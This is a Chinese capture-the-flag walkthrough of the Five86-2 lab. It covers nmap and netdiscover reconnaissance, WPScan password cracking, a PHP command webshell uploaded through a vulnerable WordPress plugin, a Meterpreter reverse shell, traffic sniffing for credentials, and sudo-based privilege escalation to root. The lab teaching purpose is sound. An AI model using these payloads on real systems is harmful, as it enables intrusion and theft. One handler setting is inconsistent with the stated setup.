抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Five86-2 靶机渗透测试

信息收集

Nmap常用参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
-A           :全面扫描. 综合扫描. 是一种完整扫描目标信息的扫描方式.   
--exclude      : 排除指定的地址 例: nmap 192.168.1.0/24
--exclude 192.168.1.1 那么就不会对192.168.1.1进行扫描,
--excludefile     : 排除指定的地址列表 例: nmap 192.168.1.0/24 --excludefile list.txt 那么就不会对list.txt里面的地址进行扫描,
-iL         : 扫描一个列表文件 例 nmap -iL list.txt
-sP        : Ping扫描,效率高,返回信息少.   例: nmap -sP 192.168.1.110
-P0(Pn)      :无Ping扫描,可以躲避防火墙防护,可以在目标主机禁止ping的情况下使用
-PS        :TCP SYN Ping扫描
-PA        :TCP ACK Ping扫描
PR        : ARP Ping扫描
-n         : 禁止DNS反向解析
-T         : 时序选项, -TO-T5. 用于IDS逃逸,0=>非常慢,1=>缓慢的,2=>文雅的,3=>普通的,4=>快速的,5=>急速的
-p         : 指定端口扫描
-F         : 快速扫描
-f          : 报文分段
-D         : ip地址欺骗 例 nmap -D RND:5 192.168.1.110 RND:为生成随机ip地址 
-sS         : TCP SYN 扫描,速度快, 1秒1000次左右. 较为隐蔽.
-sT         : TCP连接扫描
-sU        : UDP扫描,扫描非常慢,容易被忽视
-sN,-sF       : 隐蔽扫描
-sI         : 空闲扫描,允许端口完全欺骗,可以允许不使用自身ip的情况下发起扫描,非常之隐蔽的扫描.但得先寻找空闲主机,指令为 nmap -p80 -open -script ipidseq 192.168......,第二种是往事随机寻找, nmap -p80 -open -script ipidseq -iR 2000 (iR选项代表随机选择目标.2000带表选择的数量,-open代表只选择端口开放的空闲主机)
-p-         : 扫描所有端口 1-65535
-top-ports      : 只扫描开发概率最高的端口 后面跟上数值 例 nmap -top-ports 100 , 就是扫描概率最高的前100个端口
<版本探测相关>:
-sV         : 版本探测 ,通过相应的端口探测对应的服务,根据服务的指纹识别出相应的版本.
-sV --allports     : 只有使用--allports才能扫描所有的端口,默认情况下回跳过如 TCP9100端口(hp打印机专用端口)
--version-intersity   : 设置扫描强度 0-9 ,数值越大越有可能被识别,花费时间越多,默认是7
--version-ligth    : 扫描强度,轻量级扫描(2) ,等用于--version-intersity 2
--version-all     :扫描强度,重量级扫描(9) ,等同于--version-intersity 9
--version-trace    : 获取详细的版本信息
-sR         : 判断开放端口是否为RPC端口, 如果是返回程序和版本号.
--resaon      : 显示主机存活原因

Netdiscover用法

二层发现工具,拥有主动和被动发现两种方式。

 参数

1
2
netdiscover -i eth0 //选择监听的网卡
netdiscover -r 192.168.50.132 //指定ip段
1
2
3
4
5
-l:filename 从文件读取range列表
-p 被动模式。默默的侦听指定的网卡以发现别的二层主机
-t ARP包发送间隔。单位毫秒。这个可以用来规避检测系统的告警。
-c 发包数量
-r //网段 192.168.8.0/24

实验环境:

攻击机:kali IP地址 192.168.50.214

靶机:five86-2 IP地址 192.168.50.91 (信息收集得到)

用netdiscover进行主机发现

已知靶机和攻击机处于一个网段下,所以用-r 进行参数的筛选

1
netdiscover -i eth0 -192.168.50.0/24

列出可疑IP

1
2
3
4
5
192.168.50.11        可能是我的显示器   
192.168.50.14
192.168.50.37 ipad
192.168.50.25
192.168.50.91 很有可能

进一步探测192.168.50.91

1
2
3
-sV:开启端口服务的版本检测
-A: 操作系统信息和端口服务版本探测
-v:详细输出扫描情况

可以看出它是一个网站,开启了80端口,且是用WordPress搭建的。访问一下192.168.50.91 看看它的网页

发现有一个login,可以想到我们的目标是找到这个网页的后台管理员密码。点入login后发现域名解析有问题,我们可以修改本地的host文件,让网页指定到正确的地方

1
vim /etc/hosts

把下面一行添加进去

1
192.168.50.91  five86-2

再次访问,可以正常显示了

利用WPScan对该网站进行渗透攻击和后续进一步的漏洞利用

WPScan是一个扫描 WordPress 漏洞的黑盒子扫描器

WPscan 的使用参数

man wpscan 查看更多参数用法

1
2
3
wpscan --url
wpscan --url --enumerate u //对用户进行枚举wpscan
wpscan -P //爆破用户密码

枚举用户

用字典爆破用户密码,kali下自带的字典路径/usr/share/wordlists

1
wpscan -P /usr/share/wordlists/rockyou.txt --url 192.168.50.91 -t 30 --usernames barney 

爆破成功,用这个账户密码登陆进入网页管理后台

1
2
Username: barney, Password: spooky1
Username: stephen, Password: apollo1

登陆成功后,进入plugin,找到可以利用的插件

找到最后一个插件的利用 WordPress Plugin Insert or Embed Articulate Content into WordPress - Remote Code Execution - PHP webapps Exploit

根据给出的exp,进行操作

  1. 创建两个文件,输入代码。
1
2
3
## 1. Create  .zip archive with 2 files: index.html, index.php
echo "<html>hello</html>" > index.html
echo "<?php echo system($_GET['cmd']); ?>" > index.php
  1. 登陆管理员账号以便可以上传文件

  2. 创建一个新文章,选择Add block -> E-learning -> 上传poc.zip

    将index.php , index.html , shell.php 打包为poc.zip

    其中shell.php是冰蝎中自带的

  3. 使用冰蝎的shell.php连接

    可以看到它的文件系统,在home目录下,有很多用户,之前已经爆出来用户barney的密码为spooky1。用barney登陆进去


在冰蝎中反弹shell,在kali攻击机中打开监听

冰蝎中填入攻击机的IP地址,kali中填入靶机的IP地址

1
2
3
4
5
6
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.50.91
set lport 8090
run

换成TTY

1
2
shell
python3 -c "import pty;pty.spawn('/bin/bash')"

以Stephen的身份登陆

1
id  //查看用户信息

发现有pcap,猜测和流量相关

使用tcpdump进行抓包。

使用ip addr 进行接口的查看,对最后两个接口进行抓包

1
2
timeout 120 tcpdump -w 1.pcp -i br-eca3858d86bf
timeout 120 tcpdump -w 2.pcp -i vethc8dbbb2

从抓到的数据包读取数据

1
2
tcpdump -D   //列出可以用于抓包的接口
tcpdump -r //从文件中读取抓包的表达式
1
2
tcpdump -r 1.pcp
tcpdump -r 2.pcp

在2.pcp中找到了有用的信息

用Paul登陆

1
2
su paul
esomepasswford

查看Paul用户可以执行哪些高级权限的命令

1
sudo -l

可以以Peter的身份执行 /usr/sbin/service。 所以可以直接执行Peter的bash。用相对目录找到Peter的bash

1
sudo -u peter service ../../bin/bash

相对路径问题

相对路径

文件的相对路径是其相对于当前工作目录的位置,它不以斜杠(/)开头。它从正在进行的工作目录开始。

示例:Desktop/CollegeStudent

  • 单点(.)代表当前目录。
  • 双点(..)代表当前工作目录的父目录。
  • 波浪号(~)代表已登录用户的主目录

登陆到Peter之后,查看Peter有哪些高级权限

1
sudo -l

peter可以执行passwd,所以可以直接修改root的密码来登陆

1
sudo -u root passwd

用改好的密码登录root

拿到root权限,寻找到flag

评论